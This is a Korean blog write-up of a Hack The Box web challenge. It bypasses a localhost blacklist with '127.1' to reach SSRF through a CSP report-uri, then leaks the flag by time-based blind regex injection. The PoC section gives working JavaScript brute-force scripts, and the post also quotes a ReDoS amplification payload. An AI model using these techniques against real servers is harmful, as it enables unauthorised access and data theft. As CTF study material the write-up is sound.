티스토리 뷰

728x90
반응형

문제 첫 화면

문제요약

Bypass localhost Restriction and Time-based Regular Expression Injection

 

개요

아래는 문제 페이지를 처음 접속하면 나오는 화면입니다.

페이지를 보면 input 을 입력할 수 있는 textarea 가 있고 Submit 버튼을 누르면 아래와 같이 하단에 CSP 제약 조건에 대한 설명이 나옵니다.

더 둘러보았지만 사용자 입력을 받는 곳은 위 textarea 가 끝이었습니다. 그래서 바로 문제로부터 받은 소스코드를 분석해보았습니다. 소스코드 분석 시에는 제가 봤을 때 문제풀이에 있어서 중요하다고 생각되는 부분만 추출해서 작성했습니다. 주로 Flag를 얻기 위한 흐름대로 코드 분석을 해볼 것입니다.

 

문제의 Flag를 찾기 전 완전 초기에 분석했던 것으로는 HBS Template Engine 에 대한 분석과 XSS Target에 대한 분석을 해보았고, 별 실마리를 찾지 못했습니다. 그래서 저는 아예 문제에서의 Logic Bug 위주로 찾아보려고 하였고, 그렇게 접근하다가 secretCode를 획득할 수 있는 유일한 수단인 /deactivate 라우팅 경로를 시작으로 꼬리를 계속 물어가며 문제의 코드에서 주어진 각종 힌트들을 깨달으며 풀 수 있었습니다.

 

Code Analysis

위에서도 언급했던 /deactivate 라우팅 경로에 대한 코드를 먼저 보도록 하겠습니다.

// Filename : routes/index.js
router.get('/deactivate',isLocal, async (req, res) => {
	const { secretCode } = req.query;
	if (secretCode){
		const success = await validateSecret(secretCode);
		res.render('deactivate', {secretCode, success});
	} else {
		res.render('deactivate', {secretCode});
	}
});

우선 해당 경로에 접근하기 위해서는 isLocal 미들웨어 함수를 통과해야 합니다. 이에 대해서 먼저 풀이하고 validateSecret 함수로 넘어가도록 하겠습니다.

 

isLocal 함수는 요청한 곳이 localhost인지 확인하는 미들웨어 함수입니다.

// Filename : middleware/isLocal.middleware.js
module.exports = function isLocal(req, res, next) {
    if(req.socket.remoteAddress === '127.0.0.1' && req.header('host') === '127.0.0.1:1337'){
		next()
	} else {
		res.status(401);
		res.render('unauthorized');
	}
};

이 함수를 client 단에서 우회할 수 있는 방법은 생각나지 않았기에 일단 "무조건 localhost에서만 접근할 수 있겠구나"라고 생각하고 넘어가려다가 마침 임의로 localhost 에서 원하는 경로로 HTTP Request 를 보낼 수 있음을 알게되었습니다.

 

그 곳은 바로 checkReportUri 함수 내에 있는 httpGet 함수입니다. 아래 코드를 보시면 알겠지만 httpGet 함수는 url 파라미터를 받아서 해당 url로 http request 요청을 보냅니다.

// Filename : utils/index.js
const httpGet = url => {
    return new Promise((resolve, reject) => {
        http.get(url, res => {
            res.on('data', () => {
                resolve(true);
            });
        }).on('error', reject);
    });
}

그리고 여기서 가장 중요한 점으로는 HTTP Request 의 출발지가 바로 서버라는 점입니다. 즉, 이 함수를 이용하면 isLocal 미들웨어 함수의 제약조건을 탈피할 수 있다는 얘기죠.

 

그럼 이제 이 httpGet 함수의 파라미터가 어떤 경로로부터 입력이 주어지는가를 확인해보면, 아까도 언급했던 checkReportUri 함수입니다. 이 함수의 시작점은 다시 evaluateCsp 라는 함수인데요.

// Filename : utils/index.js
const evaluateCsp = async csp => {
    const parsed = new CspParser(csp).csp;
    const reportUris = parsed.directives['report-uri'];

    let evaluatedCsp = new CspEvaluator(parsed).evaluate();
    reportUriFinding = await checkReportUri(reportUris)
    if (reportUriFinding) evaluatedCsp.push(reportUriFinding)
    evaluatedCsp = cspReducer(evaluatedCsp);
    return evaluatedCsp;
}

바로 이 함수는 우리가 문제의 첫 페이지에서 textarea 에 CSP 값을 입력하고 submit 버튼을 눌렀을 때 /evaluate 라우팅 경로를 통해 도착하는 함수입니다. 사용자가 입력한 CSP 값이 이제 이 함수의 csp 파라미터에 들어가게 됩니다.

 

이 함수에서는 입력으로 들어온 csp 값에서 csp 포맷을 파싱하고, 그 중에서 report-uri 디렉티브 값은 별도로 checkReportUri 함수에 전달해주는 것을 알 수 있습니다. 즉 다른 csp 값들은 중요하지 않기에 이 report-uri 만 보면 된다는 것입니다.

 

이제 본격적으로 checkReportUri 함수를 보도록 하겠습니다.

// Filename : utils/index.js
const checkReportUri = async uris => {
    if (uris === undefined || uris.length < 1) return
    if (uris.length > 1) {
        return new Finding(405, "Should have only one report-uri", 100, 'report-uri')
    }
    if(await isLocalhost(uris[0])) {
        return new Finding(310, "Destination not available", 50, 'report-uri', uris[0])
    }
    if (uris.length === 1) {
        try {
            available = await httpGet(uris[0])

        } catch (error) {
            return new Finding(310, "Destination not available", 50, 'report-uri', uris[0])
        }
    }

    return
}

우선 이 함수에서는 report-uri 디렉티브 값에 들어온 uri 가 하나여만 한다고 하고 있고, isLocalhost 함수로 해당 uri의 hostname 이 localhost 또는 127.0.0.1 인가를 검사합니다.

그리고 검사 결과 이상 없을 경우에 httpGet 함수로 해당 uri로 HTTP Request 요청을 보내게 됩니다. 

 

httpGet 함수로 어떤 uri 를 넘겨주던간에 일단 저 isLocalhost 함수부터 우회해줘야합니다. 우회 방법에 대해서는 아래에서 더 자세히 설명하도록 하고 일단 넘어가겠습니다.

 

만약 isLocalhost 함수를 우회했다고 가정하고 httpGet 함수로 특정 uri 를 보낼 수 있게 됐다고 하면 어떨까요?

그럼 당연히 Flag 값을 얻기 위해서 이제 /deactivate 경로로 요청을 해야되겠죠. 그리고 이 곳엔 validateSecret 함수가 있습니다.

// Filename : utils/index.js
const regExp = require('time-limited-regular-expressions')({ limit: 2 });
// ... 생략 ...
const validateSecret = async (secret) => {
    try {
        const match = await regExp.match(secret, env.FLAG)
        return !!match;
    } catch (error) {
        return false;
    }
}

이 함수에서는 secret 이라는 파라미터 값으로 들어온 입력 값을 Flag값과 정규식으로 비교하여 그 결과 여부를 반환해주는 기능을 합니다.

 

여기서 중요한 점으로는 우리가 직접 localhost 로 접근해서 해당 함수를 실행하고 그 결과를 렌더링된 템플릿으로부터 확인하는 것이 아니라는 점입니다. 현재 접근 주체는 웹서버이기 때문에 해당 참 또는 거짓에 대한 결과를 직접 확인할 수 없습니다. 그렇기 때문에 여기서는 다른 방법이 필요하게 되고, 이에 대한 힌트로는 위 소스코드에서 상단에 언급된 time-limited-regular-expressions 와 ({ limit: 2 }) 부분입니다. 바로 이 점 때문에 우리는 Time-based Regular Expression Injection 이 가능하게 됩니다.

 

이제 본격적으로 Exploit을 해보겠습니다.

 

Exploit

Bypassing Localhost Restriction

우선 위에서 언급한 isLocalhost 함수를 우회해보도록 하겠습니다.

const { parse }       = require('url');
// ... 생략 ...
const isLocalhost = async (url) => {
    let blacklist = [
        "localhost",
        "127.0.0.1",
    ];
    let hostname = parse(url).hostname;
    return blacklist.includes(hostname);
};

일반적으로 parse 함수엔 hostname spoofing 이라는 취약점이 있는데요. 보통 구글에 검색해보면 Unicode 를 이용한 방법이 나오는데 저는 그런 방법을 사용하지는 않았고, 그냥 아래와 같이 해서 우회했습니다.

 parse('http://127.1:1337').hostname

URI 에 127.0.0.1 이 아닌 127.1 을 입력하여 단순 문자열 비교를 우회하였습니다.

 

다만 여기서 추가로 고려해야할 점으로는 httpGet 함수에서도 해당 uri 가 들어간다는 점인데, 다행히 http.get(url, callback) 함수에서는 해당 uri 를 127.0.0.1 로 인식하게 되서 올바르게 localhost 로 접속할 수 있게 됩니다.

 

이로써 isLocalhost 함수와 더불어 isLocal 미들웨어 함수를 우회할 수 있게 됩니다.

 

Injection

Injection 에 있어서 중점으로 봐야하는 함수로는 validateSecret 함수이며, regExp.match 함수에 들어갈 secret 변수 값을 조작하여 결과를 얻는 것입니다.

const regExp = require('time-limited-regular-expressions')({ limit: 2 });
// ...생략...
const validateSecret = async (secret) => {
    try {
        const match = await regExp.match(secret, env.FLAG)
        return !!match;
    } catch (error) {
        return false;
    }
}

여기서는 위에서도 언급했다시피 Regular Expression의 Backtracking 의 방지를 위해서 사용한 이 time-limited-regular-expressions 모듈의 취약점을 이용하면 됩니다. 이에 대한 자세한 내용은 아래 발표자료 링크를 참고하면 됩니다.

https://speakerdeck.com/lmt_swallow/revisiting-redos-a-rough-idea-of-data-exfiltration-by-redos-and-side-channel-techniques?slide=23 

 

Revisiting ReDoS: A Rough Idea of Data Exfiltration by ReDoS and Side-channel Techniques

Update: you can find a blog article on this presentation at: https://diary.shift-js.info/blind-regular-expression-injection/ --- I presented about ReDoS and blind regular expression injection attack at OWASP Night (Japan) 2020. Please feel free to contact

speakerdeck.com

 

일단 limit 이 2초이기 때문에 앞의 정규 표현식이 참이되어 뒤의 오래 걸리는 정규식에 오기까지 무조건 2초라는 제한 시간이 넘기 때문에 서버에서는 timeout 이라는 것을 response 에 담아 보내주게 됩니다. 그렇게 되면 response 에 걸리는 시간이 2초가 걸립니다. 만약 앞의 정규 표현식이 거짓이라면 뒤의 오래 걸리는 정규식까지 오지 않기 때문에 정규표현식을 해석하는데 시간이 얼마 걸리지 않아 서버에서는 정상적인 프로세스 대로 처리할 것입니다. 그러면 2초보다는 훨씬 적게 걸릴 것으로 예상됩니다. 이런 원리로 Flag의 길이부터 Flag의 값까지 알아낼 수 있게 됩니다.

 

간단하게 Flag의 길이를 구하는 예시를 들어보겠습니다.

let number = 1; // length_of_flag
regExp.match('^(?=HTB{.{'+number+'}})((.*)*)*salt$', env.FLAG)

만약 HTB{내용} 에서 "내용"에 해당하는 문자열의 길이가 number 만큼이 맞다면 response timing이 2초 정도 걸릴 것이고 그렇지 않다면 2초가 안걸릴 것입니다.

 

PoC

  • Flag 길이 구하기
var length_of_flag = 0;
for(var i=0; i<100; i++){
    var secretCode = encodeURIComponent("^(?=HTB{.{"+i+"}})((.*)*)*salt$");
    var sendDate = (new Date()).getTime();
    var timelapsed = await fetch("/api/evaluate", {
      "headers": {
        "content-type": "application/json"
      },
      "body": "{\"csp\":\"report-uri http://127.1:1337/deactivate?secretCode="+secretCode+"\\n\"}",
      "method": "POST",
      "mode": "cors",
      "credentials": "include"
    }).then(function(res){var receiveDate = (new Date()).getTime();var responseTimeMs = receiveDate-sendDate;return responseTimeMs/1000;});;
    if(timelapsed > 2) {
        length_of_flag = i;
        break;
    }
}
  • Flag 값 구하기
var letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
var payload = "";
for(var l=0; l<length_of_flag; l++){
    for(var i=0; i<letters.length; i++){
        var secretCode = encodeURIComponent("^(?=HTB{"+payload+letters[i]+".*})((.*)*)*salt$");
        var sendDate = (new Date()).getTime();
        var timelapsed = await fetch("/api/evaluate", {
          "headers": {
            "content-type": "application/json"
          },
          "body": "{\"csp\":\"report-uri http://127.1:1337/deactivate?secretCode="+secretCode+"\\n\"}",
          "method": "POST",
          "mode": "cors",
          "credentials": "include"
        }).then(function(res){var receiveDate = (new Date()).getTime();var responseTimeMs = receiveDate-sendDate;return responseTimeMs/1000;});;
        if(timelapsed > 2) {
            payload = payload.concat(letters[i]);
            break;
        }
    }
}
console.log(payload);

위 코드는 javascript 코드로써 웹 브라우저에서 그냥 개발자도구를 열고 Console 탭에서 작성하여 실행하였습니다.

아무래도 단순 Bruteforce를 한 것이기 때문에 시간이 오래 걸리겠지만, 좀 더 나은 방법인 Binary Search 와 같은 탐색기법을 활용한 코드를 작성하면 훨씬 빠른 결과를 얻을 수 있을 것 같습니다.

 

마무리

이번 문제는 Hackthebox Web Challenges 에서 Medium 난이도에 속하는 문제였습니다. Medium 치고는 사람들의 Rating을 보았을 때 Easy 에 해당된다는 의견이 많아서 가벼운 마음으로 풀어보았는데, 다른 Medium 문제보다는 비교적 초심자가 풀기에는 좋았던 것 같습니다. 특히 Regular Expression 에 대해 한발짝 더 깊게 알게 된 것 같아 흥미로웠습니다.

 

문제를 풀고나서 ReDoS 나 Regex Injection 유형의 취약점들에 대해서 조사해보았습니다. 그러던 중 특정 정규식을 input으로 주면 해당 정규식에 맞는 가장 느리게 matching 되는 값을 찾아주는 취약점 분석 자동화 도구를 알게되었는데요. ReScue 라는 이름이고 아직 정식배포되지는 않았지만 꽤 흥미로운 도구로 보였습니다.

https://github.com/2bdenny/ReScue

 

GitHub - 2bdenny/ReScue: An automated tool for the detection of regexes' slow-matching vulnerabilities.

An automated tool for the detection of regexes' slow-matching vulnerabilities. - GitHub - 2bdenny/ReScue: An automated tool for the detection of regexes' slow-matching vulnerabilities.

github.com

 

버그바운티 케이스

버그바운티 케이스로 문제풀이에서 나온 것과 동일하거나 유사한 Regex Injection 사례는 찾지 못했지만, ReDoS 사례는 간간히 나오는 것으로 보입니다.

https://hackerone.com/reports/888030

 

Node.js third-party modules disclosed on HackerOne: [wappalyzer]...

 

hackerone.com

위 링크는 Wappalyzer 에서 특정 input 이 들어가게 되면 무한히 로딩되고 CPU 사용율이 지속적으로 상승하게 되는 ReDoS 유형의 취약점을 제보한 링크입니다. 현재 문제가 되었던 소스코드를 확인할 수 없어 정확히 어떤 이유에서 터졌는지는 파악하지 못하지만 흥미로운 사례입니다.

https://github.com/github/codeql/pull/5704

 

Java: Regex injection by edvraa · Pull Request #5704 · github/codeql

 

github.com

위 사례는 CodeQL 도구로 깃헙에서 지원하는 코드 베이스 스캐닝 도구로 찾게된 ReDoS 가능성을 제시한 제보로써, 문자열을 replace 하는 코드에서 문제가 발생한다고 얘기하고 있습니다.

"1234567890".replaceFirst("\\d+", "$0$0$0$0$0$0$0$0$0$0$0")
> 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890

위 코드는 위 링크에서 제공된 페이로드인데, $0을 계속해서 붙여나가면 해당하는 input 과 동일한 payload가 매우 많이 복제되어 메모리 사용율과 CPU 사용율을 증폭시켜 예외상황을 발생시키거나 DoS 공격으로 이어질 수 있다고 합니다.

728x90
반응형
댓글